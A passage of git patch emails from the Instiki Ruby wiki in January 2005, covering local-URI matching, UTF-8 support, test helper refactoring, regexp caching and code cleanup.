"(?:(#{SCHEME}):/{0,2})?" + # Optional scheme: (\1) "(?:(#{USERINFO})@)?" + # Optional userinfo@ (\2) - "(#{FULL_HOSTNAME})" + # Mandatory hostname (\3) + "(#{INTERNET_HOSTNAME})" + # Mandatory hostname (\3) "(?::(#{PORT}))?" + # Optional :port (\4) "(#{ABS_PATH})?" + # Optional absolute path (\5) "(?:\\?(#{QUERY}))?" + # Optional ?query (\6) "(?:\\#(#{FRAGMENT}))?" # Optional #fragment (\7) + + TEXTILE_SYNTAX_PREFIX = '(!)?' + + INTERNET_URI_REGEXP = Regexp.new(TEXTILE_SYNTAX_PREFIX + INTERNET_URI, Regexp::EXTENDED, 'N') + end - TEXTILE_SYNTAX_PREFIX = '(!)?' - - URI_PATTERN_REGEXP = Regexp.new(TEXTILE_SYNTAX_PREFIX + URI_PATTERN, Regexp::EXTENDED, 'N') - def self.pattern - URI_PATTERN_REGEXP + INTERNET_URI_REGEXP end attr_reader :uri, :scheme, :user, :host, :port, :path, :query, :fragment, :link_text @@ -149,3 +149,31 @@ class URIChunk < Chunk::Abstract end end + +# uri with mandatory scheme but less restrictive hostname, like +# http://localhost:2500/blah.html +class LocalURIChunk < URIChunk + + unless defined? LocalURIChunk::LOCAL_URI_REGEXP + # hostname can be just a simple word like 'localhost' + ANY_HOSTNAME = "(?:#{DOMLABEL}\\.)*#{TOPLABEL}\\.?" + + # The basic URI expression as a string + # Scheme and hostname are mandatory + LOCAL_URI = + "(?:(#{SCHEME})://)+" + # Mandatory scheme:// (\1) + "(?:(#{USERINFO})@)?" + # Optional userinfo@ (\2) + "(#{ANY_HOSTNAME})" + # Mandatory hostname (\3) + "(?::(#{PORT}))?" + # Optional :port (\4) + "(#{ABS_PATH})?" + # Optional absolute path (\5) + "(?:\\?(#{QUERY}))?" + # Optional ?query (\6) + "(?:\\#(#{FRAGMENT}))?" # Optional #fragment (\7) + + LOCAL_URI_REGEXP = Regexp.new(TEXTILE_SYNTAX_PREFIX + LOCAL_URI, Regexp::EXTENDED, 'N') + end + + def self.pattern + LOCAL_URI_REGEXP + end + +end diff --git a/app/models/wiki_content.rb b/app/models/wiki_content.rb index a72d5ec9..93489419 100755 --- a/app/models/wiki_content.rb +++ b/app/models/wiki_content.rb @@ -39,7 +39,9 @@ require 'chunks/nowiki' # UPDATED: 22nd May 2004 class WikiContent < String - PRE_ENGINE_ACTIONS = [ NoWiki, Category, Include, URIChunk, WikiChunk::Link, WikiChunk::Word ] + PRE_ENGINE_ACTIONS = [ NoWiki, Category, Include, + URIChunk, LocalURIChunk, + WikiChunk::Link, WikiChunk::Word ] POST_ENGINE_ACTIONS = [ Literal::Pre, Literal::Tags ] DEFAULT_OPTS = { :pre_engine_actions => PRE_ENGINE_ACTIONS, diff --git a/test/test_helper.rb b/test/test_helper.rb index ce8d9572..1258ad01 100755 --- a/test/test_helper.rb +++ b/test/test_helper.rb @@ -36,37 +36,32 @@ end # This module is to be included in unit tests that involve matching chunks. # It provides a easy way to test whether a chunk matches a particular string # and any the values of any fields that should be set after a match. +class ContentStub < String + attr_reader :chunks, :content + def initialize(str) + super + @chunks = [] + end +end + module ChunkMatch # Asserts a number of tests for the given type and text. - def match(type, test_text, expected) - pattern = type.pattern - assert_match(pattern, test_text) - pattern =~ test_text # Previous assertion guarantees match - chunk = type.new($~) - + def match(chunk_type, test_text, expected_chunk_state) + if chunk_type.respond_to? :pattern + assert_match(chunk_type.pattern, test_text) + end + + content = ContentStub.new(test_text) + chunk_type.apply_to(content) + # Test if requested parts are correct. - for method_sym, value in expected do - assert_respond_to(chunk, method_sym) - assert_equal(value, chunk.method(method_sym).call, "Checking value of '#{method_sym}'") + expected_chunk_state.each_pair do |a_method, expected_value| + assert content.chunks.last.kind_of?(chunk_type) + assert_respond_to(content.chunks.last, a_method) + assert_equal(expected_value, content.chunks.last.send(a_method.to_sym), + "Wrong #{a_method} value") end end end - -module ActionController - class TestResponse - def binary_content - sio = StringIO.new - begin - $stdout = sio - body.call - ensure - $stdout = STDOUT - end - - sio.rewind - sio.read - end - end -end diff --git a/test/unit/uri_test.rb b/test/unit/uri_test.rb index f8c49f95..2c6ab76c 100755 --- a/test/unit/uri_test.rb +++ b/test/unit/uri_test.rb @@ -7,8 +7,9 @@ class URITest < Test::Unit::TestCase include ChunkMatch def test_non_matches - assert_no_match(URIChunk.pattern, 'There is no URI here') - assert_no_match(URIChunk.pattern, 'One gemstone is the garnet:reddish in colour, like ruby') + assert_conversion_does_not_apply(URIChunk, 'There is no URI here') + assert_conversion_does_not_apply(URIChunk, + 'One gemstone is the garnet:reddish in colour, like ruby') end def test_simple_uri @@ -110,9 +111,9 @@ class URITest < Test::Unit::TestCase end def test_non_uri - assert_no_match(URIChunk.pattern, 'httpd.conf') - assert_no_match(URIChunk.pattern, 'libproxy.so') - assert_no_match(URIChunk.pattern, 'ld.so.conf') + assert_conversion_does_not_apply URIChunk, 'httpd.conf' + assert_conversion_does_not_apply URIChunk, 'libproxy.so' + assert_conversion_does_not_apply URIChunk, 'ld.so.conf' end def test_uri_in_text @@ -151,5 +152,28 @@ class URITest < Test::Unit::TestCase :scheme => 'http', :host => 'someplace.org', :port => '8080', :path => '/~person/stuff.cgi', :query => 'arg=val,') end + + def test_local_urls + # normal + match(LocalURIChunk, 'http://perforce:8001/toto.html', + :scheme => 'http', :host => 'perforce', + :port => '8001', :link_text => 'http://perforce:8001/toto.html') + + # in parentheses + match(LocalURIChunk, 'URI (http://localhost:2500) in brackets', + :host => 'localhost', :port => '2500') + match(LocalURIChunk, 'because (as shown at http://perforce:8001) the results', + :host => 'perforce', :port => '8001') + match(LocalURIChunk, + 'A wiki (http://localhost:2500/wiki.cgi?WhatIsWiki) page', + :scheme => 'http', :host => 'localhost', :path => '/wiki.cgi', + :port => '2500', :query => 'WhatIsWiki') + end + + def assert_conversion_does_not_apply(chunk_type, str) + processed_str = str.dup + URIChunk.apply_to(processed_str) + assert_equal(str, processed_str) + end end From f75f5223c3d7d221e52cc28fb782caa909d5a1f5 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Fri, 21 Jan 2005 19:00:45 +0000 Subject: [PATCH 065/529] Enabled UTF-8 support in string functions --- CHANGELOG | 1 + config/environment.rb | 3 +++ 2 files changed, 4 insertions(+) diff --git a/CHANGELOG b/CHANGELOG index cc7d000b..c70e1c44 100755 --- a/CHANGELOG +++ b/CHANGELOG @@ -1,4 +1,5 @@ HEAD: + Wiki search handles multibyte (UTF-8) characters correctly Ported to ActionPack Madeleine will check every hour if there are new commands in the log or 24 hours have passed since last snapshot, and take snapshot if either of these conditions is true diff --git a/config/environment.rb b/config/environment.rb index 30238d9b..7fe11d1e 100644 --- a/config/environment.rb +++ b/config/environment.rb @@ -3,6 +3,9 @@ if RUBY_VERSION < '1.8.1' exit end +# Enable UTF-8 support +$KCODE = 'u' + RAILS_ROOT = File.expand_path(File.dirname(__FILE__) + '/../') unless defined? RAILS_ROOT RAILS_ENV = ENV['RAILS_ENV'] || 'production' unless defined? RAILS_ENV From a9cf729f257ae8e221b45d61698c2362ec03010b Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Fri, 21 Jan 2005 19:17:25 +0000 Subject: [PATCH 066/529] Enable UTF-8 support in certain methods of String class --- config/environment.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/config/environment.rb b/config/environment.rb index 7fe11d1e..af16b33d 100644 --- a/config/environment.rb +++ b/config/environment.rb @@ -5,6 +5,7 @@ end # Enable UTF-8 support $KCODE = 'u' +require 'jcode' RAILS_ROOT = File.expand_path(File.dirname(__FILE__) + '/../') unless defined? RAILS_ROOT RAILS_ENV = ENV['RAILS_ENV'] || 'production' unless defined? RAILS_ENV From e619e575ce63e8bb71955d02545109528991412d Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Fri, 21 Jan 2005 19:40:04 +0000 Subject: [PATCH 067/529] extracted wiki fixture to test_helper (it still doesn't deserge a class of its own, but one day it might) --- test/functional/wiki_controller_test.rb | 25 ------------------------- test/test_helper.rb | 24 ++++++++++++++++++++++++ 2 files changed, 24 insertions(+), 25 deletions(-) diff --git a/test/functional/wiki_controller_test.rb b/test/functional/wiki_controller_test.rb index dd608c1b..03cc3796 100755 --- a/test/functional/wiki_controller_test.rb +++ b/test/functional/wiki_controller_test.rb @@ -654,29 +654,4 @@ class WikiControllerTest < Test::Unit::TestCase assert_equal [another_wiki, @web], r.template_objects['webs'] end - - # Wiki fixture - - def setup_test_wiki - @wiki = ApplicationController.wiki = WikiServiceWithNoPersistence.new - @web = @wiki.create_web('Test Wiki 1', 'wiki1') - @home = @wiki.write_page('wiki1', 'HomePage', 'First revision of the HomePage end', Time.now, - Author.new('AnAuthor', '127.0.0.1')) - end - - def setup_wiki_with_three_pages - @oak = @wiki.write_page('wiki1', 'Oak', - "All about oak.\n" + - "category: trees", - 5.minutes.ago, Author.new('TreeHugger', '127.0.0.2')) - @elephant = @wiki.write_page('wiki1', 'Elephant', - "All about elephants.\n" + - "category: animals", - 10.minutes.ago, Author.new('Guest', '127.0.0.2')) - end - - def tear_down_wiki - ApplicationController.wiki = nil - end - end diff --git a/test/test_helper.rb b/test/test_helper.rb index 1258ad01..d01d38bd 100755 --- a/test/test_helper.rb +++ b/test/test_helper.rb @@ -23,6 +23,30 @@ class Test::Unit::TestCase return @request, @response end + # Wiki fixture for tests + + def setup_test_wiki + @wiki = ApplicationController.wiki = WikiServiceWithNoPersistence.new + @web = @wiki.create_web('Test Wiki 1', 'wiki1') + @home = @wiki.write_page('wiki1', 'HomePage', 'First revision of the HomePage end', Time.now, + Author.new('AnAuthor', '127.0.0.1')) + end + + def setup_wiki_with_three_pages + @oak = @wiki.write_page('wiki1', 'Oak', + "All about oak.\n" + + "category: trees", + 5.minutes.ago, Author.new('TreeHugger', '127.0.0.2')) + @elephant = @wiki.write_page('wiki1', 'Elephant', + "All about elephants.\n" + + "category: animals", + 10.minutes.ago, Author.new('Guest', '127.0.0.2')) + end + + def tear_down_wiki + ApplicationController.wiki = nil + end + end class WikiServiceWithNoPersistence From 88d7dc832d0af811810d6945b343476cf3e9040b Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Fri, 21 Jan 2005 19:41:46 +0000 Subject: [PATCH 068/529] Setting Content-Type to UTF-8, to be consistent with meta-data in the HTML itself --- app/controllers/application.rb | 6 +++++- test/functional/application_test.rb | 26 ++++++++++++++++++++++++++ 2 files changed, 31 insertions(+), 1 deletion(-) create mode 100644 test/functional/application_test.rb diff --git a/app/controllers/application.rb b/app/controllers/application.rb index 09219455..2540e8a3 100644 --- a/app/controllers/application.rb +++ b/app/controllers/application.rb @@ -7,6 +7,7 @@ class ApplicationController < ActionController::Base # implements Instiki's legacy URLs require 'url_rewriting_hack' + before_filter :set_utf8_http_header after_filter :remember_location # For injecting a different wiki model implementation. Intended for use in tests @@ -31,7 +32,6 @@ class ApplicationController < ActionController::Base @@REMEMBER_NOT = ['locked', 'save'] def remember_location -logger.debug @request.method if @response.headers['Status'] == '200 OK' unless @@REMEMBER_NOT.include? action_name or @request.method != :get @session[:return_to] = url_for @@ -54,4 +54,8 @@ logger.debug @request.method end end + def set_utf8_http_header + @response.headers['Content-Type'] = 'text/html; charset=UTF-8' + end + end diff --git a/test/functional/application_test.rb b/test/functional/application_test.rb new file mode 100644 index 00000000..84767958 --- /dev/null +++ b/test/functional/application_test.rb @@ -0,0 +1,26 @@ +# Unit tests for ApplicationController (the abstract controller class) + +require File.dirname(__FILE__) + '/../test_helper' +require 'wiki_controller' +require 'rexml/document' + +# Need some concrete class to test the abstract class features +class WikiController; def rescue_action(e) logger.error(e); raise e end; end + +class ApplicationTest < Test::Unit::TestCase + + def setup + setup_test_wiki + setup_controller_test(WikiController) + end + + def tear_down + tear_down_wiki + end + + def test_utf8_header + r = process('show', 'web' => 'wiki1', 'id' => 'HomePage') + assert_equal 'text/html; charset=UTF-8', r.headers['Content-Type'] + end + +end From f84727c03eb79df692bfe38c67bb26becf7a9d5a Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Fri, 21 Jan 2005 19:44:34 +0000 Subject: [PATCH 069/529] explicitly tell to Rails not to render a layout for file download actions (it shouldn't matter, but...) --- app/controllers/wiki_controller.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb index 0f711ffc..f8355a41 100755 --- a/app/controllers/wiki_controller.rb +++ b/app/controllers/wiki_controller.rb @@ -4,7 +4,7 @@ require 'redcloth_for_tex' class WikiController < ApplicationController - layout 'default', :except => [:rss_feed, :rss_with_headlines, :tex_web, :tex] + layout 'default', :except => [:rss_feed, :rss_with_headlines, :tex, :export_tex, :export_html] before_filter :pre_process def index @@ -317,7 +317,7 @@ class WikiController < ApplicationController end FileUtils.rm_rf(Dir[WikiService.storage_path + file_prefix + '*.zip']) FileUtils.mv(tmp_path, file_path) - send_file(file_path, :type => 'application/zip') + send_file(file_path, :type => 'application/zip', :streaming => false) end def export_web_to_tex(file_path) From 26974db864aec9c723b3dc10d2dac7f766e87c6a Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Fri, 21 Jan 2005 19:51:46 +0000 Subject: [PATCH 070/529] Documented ability to server static content in the CHANGELOG (it's a side-effect of porting to Rails) --- CHANGELOG | 2 ++ 1 file changed, 2 insertions(+) diff --git a/CHANGELOG b/CHANGELOG index c70e1c44..602c1dea 100755 --- a/CHANGELOG +++ b/CHANGELOG @@ -1,4 +1,6 @@ HEAD: + Instiki can serve static content (such as HTML or plain-text files) from ./public + directory Wiki search handles multibyte (UTF-8) characters correctly Ported to ActionPack Madeleine will check every hour if there are new commands in the log or 24 hours have From 9242ad045deb10353d6c3ba9ca7071b0630bb4dd Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Fri, 21 Jan 2005 21:06:46 +0000 Subject: [PATCH 071/529] fixed the render_to_string hack to live peasefully with the new ActionPack rule that "the first render wins" --- app/controllers/wiki_controller.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb index f8355a41..609fde34 100755 --- a/app/controllers/wiki_controller.rb +++ b/app/controllers/wiki_controller.rb @@ -317,7 +317,7 @@ class WikiController < ApplicationController end FileUtils.rm_rf(Dir[WikiService.storage_path + file_prefix + '*.zip']) FileUtils.mv(tmp_path, file_path) - send_file(file_path, :type => 'application/zip', :streaming => false) + send_file(file_path, :type => 'application/zip') end def export_web_to_tex(file_path) @@ -399,11 +399,12 @@ class WikiController < ApplicationController def render_to_string(template_name) add_variables_to_assigns render template_name + @performed_render = false @template.render_file(template_name) end def template_engine(template_name) - ERB.new(IO.readlines(RAILS_ROOT + '/app/views/wiki/' + template_name + '.rhtml').join) + ERB.new(IO.readlines(RAILS_ROOT + '/app/views/' + template_name + '.rhtml').join) end def truncate(text, length = 30, truncate_string = '...') From 259a7028e3e70275574e1d46032bf81c568016a7 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Fri, 21 Jan 2005 21:58:48 +0000 Subject: [PATCH 072/529] cache compiled regexps in constants --- app/models/chunks/wiki.rb | 9 +++++---- app/models/wiki_words.rb | 3 ++- 2 files changed, 7 insertions(+), 5 deletions(-) diff --git a/app/models/chunks/wiki.rb b/app/models/chunks/wiki.rb index 82042acd..28cf3e90 100755 --- a/app/models/chunks/wiki.rb +++ b/app/models/chunks/wiki.rb @@ -62,11 +62,12 @@ module WikiChunk # NOTE: This chunk must be tested before WikiWord since # a WikiWords can be a substring of a WikiLink. class Link < WikiLink - def self.pattern() /\[\[([^\]]+)\]\]/ end - unless defined? ALIASED_LINK_PATTERN - ALIASED_LINK_PATTERN = Regexp.new('^(.*)?\|(.*)$', 0, 'utf-8') - end + WIKI_LINK = /\[\[([^\]]+)\]\]/ unless defined? WIKI_LINK + ALIASED_LINK_PATTERN = + Regexp.new('^(.*)?\|(.*)$', 0, 'utf-8') unless defined? ALIASED_LINK_PATTERN + + def self.pattern() WIKI_LINK end attr_reader :page_name, :link_text diff --git a/app/models/wiki_words.rb b/app/models/wiki_words.rb index 5cb60ac8..352d3763 100755 --- a/app/models/wiki_words.rb +++ b/app/models/wiki_words.rb @@ -14,12 +14,13 @@ module WikiWords "աբգդեզէըթժիլխծկհձղճմյնշոչպջռսվտրցւփքօֆև" WIKI_WORD_PATTERN = '[A-Z' + I18N_HIGHER_CASE_LETTERS + '][a-z' + I18N_LOWER_CASE_LETTERS + ']+[A-Z' + I18N_HIGHER_CASE_LETTERS + ']\w+' + CAMEL_CASED_WORD_BORDER = /([a-z#{I18N_LOWER_CASE_LETTERS}])([A-Z#{I18N_HIGHER_CASE_LETTERS}])/u def self.separate(wiki_word, ignore_separation = false) if ignore_separation wiki_word else - wiki_word.gsub(/([a-z#{I18N_LOWER_CASE_LETTERS}])([A-Z#{I18N_HIGHER_CASE_LETTERS}])/u, '\1 \2') + wiki_word.gsub(CAMEL_CASED_WORD_BORDER, '\1 \2') end end end \ No newline at end of file From befa8c91b2196922abc8a4e6f7933674a467c3bf Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Fri, 21 Jan 2005 22:08:47 +0000 Subject: [PATCH 073/529] reduced the number of warnings in unit tests (still very high though) --- app/models/chunks/uri.rb | 6 +++--- app/models/revision.rb | 21 ++++++--------------- app/models/web.rb | 14 ++++++-------- 3 files changed, 15 insertions(+), 26 deletions(-) diff --git a/app/models/chunks/uri.rb b/app/models/chunks/uri.rb index 5b90bebb..8e644459 100755 --- a/app/models/chunks/uri.rb +++ b/app/models/chunks/uri.rb @@ -64,11 +64,11 @@ class URIChunk < Chunk::Abstract end - def self.pattern + def URIChunk.pattern INTERNET_URI_REGEXP end - attr_reader :uri, :scheme, :user, :host, :port, :path, :query, :fragment, :link_text + attr_reader :user, :host, :port, :path, :query, :fragment, :link_text def self.apply_to(content) content.gsub!( self.pattern ) do |matched_text| @@ -172,7 +172,7 @@ class LocalURIChunk < URIChunk LOCAL_URI_REGEXP = Regexp.new(TEXTILE_SYNTAX_PREFIX + LOCAL_URI, Regexp::EXTENDED, 'N') end - def self.pattern + def LocalURIChunk.pattern LOCAL_URI_REGEXP end diff --git a/app/models/revision.rb b/app/models/revision.rb index 00a80a02..e19efe9e 100755 --- a/app/models/revision.rb +++ b/app/models/revision.rb @@ -1,13 +1,9 @@ -$: << File.dirname(__FILE__) + "../../libraries" - -require "diff" - -require "wiki_content" -require "chunks/wiki" - -require "date" -require "author" -require "page" +require 'diff' +require 'wiki_content' +require 'chunks/wiki' +require 'date' +require 'author' +require 'page' class Revision attr_accessor :page, :number, :content, :created_at, :author @@ -17,11 +13,6 @@ class Revision self.content = content end - # Ensure that the wiki content is parsed when ever it is updated. - def content=(content) - @content = content - end - def created_on Date.new(@created_at.year, @created_at.mon, @created_at.day) end diff --git a/app/models/web.rb b/app/models/web.rb index d4d249df..7d09c1e5 100755 --- a/app/models/web.rb +++ b/app/models/web.rb @@ -5,12 +5,16 @@ require "wiki_words" require "zip/zip" class Web - attr_accessor :pages, :name, :address, :password - attr_accessor :markup, :color, :safe_mode, :additional_style, :published, :brackets_only, :count_pages + attr_accessor :name, :address, :password, :markup, :color, :safe_mode, :pages + attr_accessor :additional_style, :published, :brackets_only, :count_pages def initialize(name, address, password = nil) @name, @address, @password, @safe_mode = name, address, password, false @pages = {} + + # assign default values + @color = '008B26' + @markup = :textile end def add_page(page) @@ -69,12 +73,6 @@ class Web def refresh_revisions select.each { |page| page.revisions.each { |revision| revision.clear_display_cache } } end - - # Default values - def markup() @markup || :textile end - def color() @color || "008B26" end - def brackets_only() @brackets_only || false end - def count_pages() @count_pages || false end private # Returns an array of all the wiki words in any current revision From 75b6d30d808af9cc7d12ae4892ee88e31c79530f Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Fri, 21 Jan 2005 22:15:29 +0000 Subject: [PATCH 074/529] simplified WikiWords.separate --- app/models/page.rb | 2 +- app/models/wiki_words.rb | 27 ++++++++++++--------------- 2 files changed, 13 insertions(+), 16 deletions(-) diff --git a/app/models/page.rb b/app/models/page.rb index f6257120..bb4e24db 100755 --- a/app/models/page.rb +++ b/app/models/page.rb @@ -67,7 +67,7 @@ class Page # Returns the original wiki-word name as separate words, so "MyPage" becomes "My Page". def plain_name - WikiWords.separate(name, web.brackets_only) + web.brackets_only ? name : WikiWords.separate(name) end def link(options = {}) diff --git a/app/models/wiki_words.rb b/app/models/wiki_words.rb index 352d3763..f82aa9ca 100755 --- a/app/models/wiki_words.rb +++ b/app/models/wiki_words.rb @@ -2,25 +2,22 @@ module WikiWords # In order of appearance: Latin, greek, cyrillian, armenian I18N_HIGHER_CASE_LETTERS = - "ÀÁÂÃÄÅĀĄĂÆÇĆČĈĊĎĐÈÉÊËĒĘĚĔĖĜĞĠĢĤĦÌÍÎÏĪĨĬĮİIJĴĶŁĽĹĻĿÑŃŇŅŊÒÓÔÕÖØŌŐŎŒŔŘŖŚŠŞŜȘŤŢŦȚÙÚÛÜŪŮŰŬŨŲŴÝŶŸŹŽŻ" + - "ΑΒΓΔΕΖΗΘΙΚΛΜΝΞΟΠΡΣΤΥΦΧΨΩ" + - "ΆΈΉΊΌΎΏѠѢѤѦѨѪѬѮѰѲѴѶѸѺѼѾҀҊҌҎҐҒҔҖҘҚҜҞҠҢҤҦҨҪҬҮҰҲҴҶҸҺҼҾӁӃӅӇӉӋӍӐӒӔӖӘӚӜӞӠӢӤӦӨӪӬӮӰӲӴӸЖ" + - "ԱԲԳԴԵԶԷԸԹԺԻԼԽԾԿՀՁՂՃՄՅՆՇՈՉՊՋՌՍՏՐՑՒՓՔՕՖ" + "À?ÂÃÄÅĀĄĂÆÇĆČĈĊĎ?ÈÉÊËĒĘĚĔĖĜĞĠĢĤĦÌ?Î?ĪĨĬĮİIJĴĶ?ĽĹĻĿÑŃŇŅŊÒÓÔÕÖØŌ?ŎŒŔŘŖŚŠŞŜȘŤŢŦȚÙÚÛÜŪŮŰŬŨŲŴ?ŶŸŹŽŻ" + + "ΑΒΓΔΕΖΗΘΙΚΛΜ?ΞΟΠΡΣΤΥΦΧΨΩ" + + "ΆΈΉΊΌΎ?ѠѢѤѦѨѪѬѮѰѲѴѶѸѺѼѾҀҊҌҎ?ҒҔҖҘҚҜҞҠҢҤҦҨҪҬҮҰҲҴҶҸҺҼҾ?ӃӅӇӉӋ??ӒӔӖӘӚӜӞӠӢӤӦӨӪӬӮӰӲӴӸЖ" + + "ԱԲԳԴԵԶԷԸԹԺԻԼԽԾԿՀ?ՂՃՄՅՆՇՈՉՊՋՌ???ՑՒՓՔՕՖ" I18N_LOWER_CASE_LETTERS = - "àáâãäåāąăæçćčĉċďđèéêëēęěĕėƒĝğġģĥħìíîïīĩĭįıijĵķĸłľĺļŀñńňņʼnŋòóôõöøōőŏœŕřŗśšşŝșťţŧțùúûüūůűŭũųŵýÿŷžżźÞþßſÐð" + - "άέήίΰαβγδεζηθικλμνξοπρςστυφχψωϊϋόύώΐ" + - "абвгдежзийклмнопрстуфхцчшщъыьэюяѐёђѓєѕіїјљћќѝўџѡѣѥѧѩѫѭѯѱѳѵѷѹѻѽѿҁҋҍҏґғҕҗҙқҝҟҡңҥҧҩҫҭүұҳҵҷҹһҽҿӀӂӄӆӈӊӌӎӑӓӕӗәӛӝӟӡӣӥӧөӫӭӯӱӳӵӹ" + - "աբգդեզէըթժիլխծկհձղճմյնշոչպջռսվտրցւփքօֆև" + "àáâãäå?ąăæçć?ĉċ?đèéêëēęěĕėƒ?ğġģĥħìíîïīĩĭįıijĵķĸłľĺļŀñńňņʼnŋòóôõöø?ő?œŕřŗśšş?șťţŧțùúûüūůűŭũųŵýÿŷžżźÞþßſ?ð" + + "άέήίΰαβγδεζηθικλμνξοπ?ςστυφχψωϊϋό?ώ?" + + "абвгдежзийклмнопр?туфхцчшщъыь?ю??ёђѓєѕіїјљћќ?ўџѡѣѥѧѩѫѭѯѱѳѵѷѹѻѽѿ?ҋ??ґғҕҗҙқ?ҟҡңҥҧҩҫҭүұҳҵҷҹһҽҿӀӂӄӆӈӊӌӎӑӓӕӗәӛ?ӟӡӣӥӧөӫӭӯӱӳӵӹ" + + "աբգդեզէըթժիլխծկհձղճմյնշոչպջռսվտր?ւփքօֆև" WIKI_WORD_PATTERN = '[A-Z' + I18N_HIGHER_CASE_LETTERS + '][a-z' + I18N_LOWER_CASE_LETTERS + ']+[A-Z' + I18N_HIGHER_CASE_LETTERS + ']\w+' CAMEL_CASED_WORD_BORDER = /([a-z#{I18N_LOWER_CASE_LETTERS}])([A-Z#{I18N_HIGHER_CASE_LETTERS}])/u - def self.separate(wiki_word, ignore_separation = false) - if ignore_separation - wiki_word - else - wiki_word.gsub(CAMEL_CASED_WORD_BORDER, '\1 \2') - end + def self.separate(wiki_word) + wiki_word.gsub(CAMEL_CASED_WORD_BORDER, '\1 \2') end -end \ No newline at end of file + +end From 780bf4fe919cde9e793fd4eaa5df20e91b72e783 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Fri, 21 Jan 2005 22:28:37 +0000 Subject: [PATCH 075/529] a little golf --- app/models/chunks/wiki.rb | 6 ++++-- app/models/wiki_content.rb | 2 +- 2 files changed, 5 insertions(+), 3 deletions(-) diff --git a/app/models/chunks/wiki.rb b/app/models/chunks/wiki.rb index 28cf3e90..6c5e53b7 100755 --- a/app/models/chunks/wiki.rb +++ b/app/models/chunks/wiki.rb @@ -18,7 +18,7 @@ module WikiChunk # the word is escaped. In that case, just return the link text def mask(content) escaped_text || pre_mask + link_text + post_mask end - def regexp() Regexp.new(pre_mask + '(.*)?' + post_mask) end + def regexp() /#{pre_mask}(.*)?#{post_mask}/ end def revert(content) content.sub!(regexp, text) end @@ -27,7 +27,9 @@ module WikiChunk # get back a string of HTML to replace the mask with. def unmask(content) return nil if escaped_text - return self if content.sub!(regexp) { |match| content.page_link(page_name, $1) } + return self if content.sub!(regexp) do |match| + content.page_link(page_name, $1) + end end end diff --git a/app/models/wiki_content.rb b/app/models/wiki_content.rb index 93489419..7ad11744 100755 --- a/app/models/wiki_content.rb +++ b/app/models/wiki_content.rb @@ -77,7 +77,7 @@ class WikiContent < String # Call @web.page_link using current options. def page_link(name, text) - @web.make_link(name, text, @options) + @web.make_link(name, text, @options) end # Find all the chunks of the given types From 661fb645615d9059a5ce54ac3bb0a77b10317d24 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Fri, 21 Jan 2005 22:40:16 +0000 Subject: [PATCH 076/529] more regexp caching --- app/models/chunks/wiki.rb | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/app/models/chunks/wiki.rb b/app/models/chunks/wiki.rb index 6c5e53b7..aa834d6b 100755 --- a/app/models/chunks/wiki.rb +++ b/app/models/chunks/wiki.rb @@ -38,8 +38,12 @@ module WikiChunk # method will return the WikiWord instead of the usual +nil+. # The +page_name+ method returns the matched WikiWord. class Word < WikiLink + unless defined? WIKI_LINK + WIKI_WORD = Regexp.new('(\\\\)?(' + WikiWords::WIKI_WORD_PATTERN + ')\b', 0, "utf-8") + end + def self.pattern - Regexp.new('(\\\\)?(' + WikiWords::WIKI_WORD_PATTERN + ')\b', 0, "utf-8") + WIKI_WORD end attr_reader :page_name From 578becb6095e46751c49110ee444868801eb439f Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Fri, 21 Jan 2005 22:43:13 +0000 Subject: [PATCH 077/529] uncommented a test that actually passes (WikiWord within Textile URL) --- test/unit/chunks/wiki_test.rb | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/test/unit/chunks/wiki_test.rb b/test/unit/chunks/wiki_test.rb index 55609f46..8b435c83 100755 --- a/test/unit/chunks/wiki_test.rb +++ b/test/unit/chunks/wiki_test.rb @@ -29,10 +29,8 @@ class WikiTest < Test::Unit::TestCase ) end -# MDR: I'm not sure how to deal with this case just yet... -# -# def test_textile_link -# assert_no_match(WikiChunk::Word.pattern, '"Here is a special link":SpecialLink') -# end + def test_textile_link + assert_no_match(WikiChunk::Word.pattern, '"Here is a special link":SpecialLink') + end end From 87ab5d00aebccae1c516193107793bdde306e604 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Fri, 21 Jan 2005 23:00:29 +0000 Subject: [PATCH 078/529] A bit of golf --- app/models/revision.rb | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/app/models/revision.rb b/app/models/revision.rb index e19efe9e..0198f5cc 100755 --- a/app/models/revision.rb +++ b/app/models/revision.rb @@ -6,6 +6,7 @@ require 'author' require 'page' class Revision + attr_accessor :page, :number, :content, :created_at, :author def initialize(page, number, content, created_at, author) @@ -29,7 +30,7 @@ class Revision end def previous_revision - number - 1 >= 0 && page.revisions[number - 1] + number > 0 ? page.revisions[number - 1] : nil end # Returns an array of all the WikiWords present in the content of this revision. @@ -53,8 +54,8 @@ class Revision wiki_words - existing_pages end - # Explicit check for new type of display cache with find_chunks method. - # Ensures new version works with older snapshots. + # Explicit check for new type of display cache with find_chunks method. + # Ensures new version works with older snapshots. def display_content unless @display_cache && @display_cache.respond_to?(:find_chunks) @display_cache = WikiContent.new(self) @@ -69,7 +70,7 @@ class Revision def clear_display_cache @display_cache = @published_cache = @wiki_words_cache = nil end - + def display_published @published_cache = WikiContent.new(self, {:mode => :publish}) if @published_cache.nil? @published_cache @@ -77,5 +78,6 @@ class Revision def display_content_for_export WikiContent.new(self, {:mode => :export} ) - end -end \ No newline at end of file + end + +end From 92404470e8f2aaca99c2befad25df2c86943becf Mon Sep 17 00:00:00 